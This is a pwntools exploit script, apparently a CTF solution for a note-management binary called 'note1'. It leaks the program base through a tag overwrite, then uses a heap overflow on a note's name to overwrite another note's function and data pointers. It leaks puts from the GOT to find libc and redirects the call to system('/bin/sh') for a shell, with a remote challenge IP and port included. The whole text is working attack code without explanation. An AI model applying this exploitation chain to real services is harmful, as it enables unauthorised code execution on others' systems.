1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| from pwn import * binary = "./note1" elf = ELF(binary) libc = elf.libc ip = '1.14.71.254' port = 28834 local = 1 if local: io = process(binary) else: io = remote(ip, port)
def debug(): gdb.attach(io) pause()
s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() ru = lambda text : io.recvuntil(text) uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00')) uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data))) ia = lambda : io.interactive() _flags = 0xfbad1800
def menu(n): sla(b'> ', str(n))
def add(idx, size, func = 2, tag = b' ', name = b'a'): menu(1) sla(b': ', str(idx)) sla(b': ', str(size)) sla(b': ', name) sla(b': ', tag) sla(b': ', str(func))
def edit_name(idx, size, con = b'b'): menu(2) sla(b'id: ', str(idx)) sla(b'> ', str(1)) sla(b': ', str(size)) sla(b': ', con)
def edit_tag(idx, tag): menu(2) sla(b'id: ', str(idx)) sla(b'> ', str(2)) sa(b': ', tag)
def edit_func(idx, func): menu(2) sla(b'id: ', str(idx)) sla(b'> ', str(3)) sla(b': ', str(func))
def call(idx): menu(3) sla(b': ', str(idx))
add(0, 0x420, tag = b' ', name = b'a' * 0x420)
edit_tag(0, p64(0xdeadbeefdeadbeef)) edit_func(0, 1) call(0) ru(b'\xef\xbe\xad\xde\xef\xbe\xad\xde') base = u64(io.recv(6).ljust(8, b'\x00')) - 0x131B lg('base')
edit_name(0, 0x10)
add(1, 0x10, tag = b' ', name = b'a')
edit_name(0, 0x41f, p64(0) * 3 + p64(0x31) + p64(0) + p64(base + 0x131b) + p64(base + elf.got['puts']) + p64(0x421))
call(1) libcbase = uu64() - libc.sym['puts'] lg('libcbase') sys_addr = libcbase + libc.sym['system'] sh = libcbase + libc.search(b'/bin/sh').__next__()
edit_name(0, 0x41f, p64(0) * 3 + p64(0x31) + b'/bin/sh\x00' + p64(sys_addr)) call(1) ia()
|